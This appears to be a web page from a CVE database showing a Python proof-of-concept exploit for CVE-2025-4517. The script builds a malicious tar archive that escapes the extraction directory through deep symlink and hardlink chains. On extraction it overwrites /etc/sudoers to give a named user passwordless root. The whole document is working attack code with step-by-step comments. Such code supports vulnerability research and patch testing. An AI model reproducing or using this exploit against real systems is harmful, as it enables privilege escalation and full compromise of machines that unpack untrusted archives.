4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-4517.py PY
import tarfile
import os
import io
import sys

# Create a long directory name (247 'd' characters) that will be used many times
# This helps force path length issues and makes the traversal cleaner in some tar implementations
comp = 'd' * 247

# Sequence of single-letter directory names we'll create (a → p)
# We need many nested directories to make the relative path long enough later
steps = "abcdefghijklmnop"

# Current "working" path inside the tar (starts empty)
path = ""

# ───────────────────────────────────────────────
# Phase 1: Create deep nested directory structure + symlink loop
# ───────────────────────────────────────────────
with tarfile.open("evil_backup_cve_2025_4517.tar", mode="w") as tar:
    for i in steps:
        # 1. Create a very long-named directory (d repeated 247 times)
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)

        # 2. Immediately create a symlink with the SAME name as the next letter (a,b,c,...)
        #    that points back to the long-named directory we just created
        #    → this creates a symlink loop: b → ddddd..., c → ddddd..., etc.
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp                      # points to ../path/dddd... (long name)
        tar.addfile(b)

        # Move "current path" one level deeper (now inside the long-named dir)
        path = os.path.join(path, comp)

    # ───────────────────────────────────────────────
    # Phase 2: Create long symlink chain that goes very high up
    # ───────────────────────────────────────────────
    # Build path like: a/d{247}/b/d{247}/c/d{247}/.../p/d{247}/l{254}
    linkpath = os.path.join("/".join(steps), "l" * 254)

    # This symlink will point many levels up (we'll use it to escape later)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    # Go up once for each original directory we created (a through p = 16 levels)
    l.linkname = "../" * len(steps)
    tar.addfile(l)

    # ───────────────────────────────────────────────
    # Phase 3: Final escape symlink that reaches /etc
    # ───────────────────────────────────────────────
    # "escape" → long-chain-symlink → ../../../../../../../../etc
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../../../etc"
    #                                   ^^^^^^^^^^^^^^^^^^^
    #                                   extra ../ to reach actual /etc
    tar.addfile(e)

    # ───────────────────────────────────────────────
    # Phase 4: Hardlink trick (most important part!)
    # ───────────────────────────────────────────────
    # We first create a **hard link** entry pointing to "escape/sudoers"
    # → this tells tar: "whatever file ends up at this name should share the same inode"
    f = tarfile.TarInfo("sudoers_link")
    f.type = tarfile.LNKTYPE
    f.linkname = "escape/sudoers"           # ← points into our escaped path
    tar.addfile(f)

    # ───────────────────────────────────────────────
    # Phase 5: Write actual content → goes to the hard-linked inode
    # ───────────────────────────────────────────────
    # Same name as previous hard link entry!
    # Because it's a regular file with content → tar will write the content
    # to the inode that is already linked from "escape/sudoers"
    #change foy you user
    content = b"demouser ALL=(ALL) NOPASSWD: ALL\n"
    c = tarfile.TarInfo("sudoers_link")
    c.type = tarfile.REGTYPE
    c.size = len(content)
    tar.addfile(c, fileobj=io.BytesIO(content))

    # After extraction the victim usually sees:
    #   sudoers_link        ← normal file with our payload
    #   escape/sudoers      ← hardlinked to the same inode → /etc/sudoers gets overwritten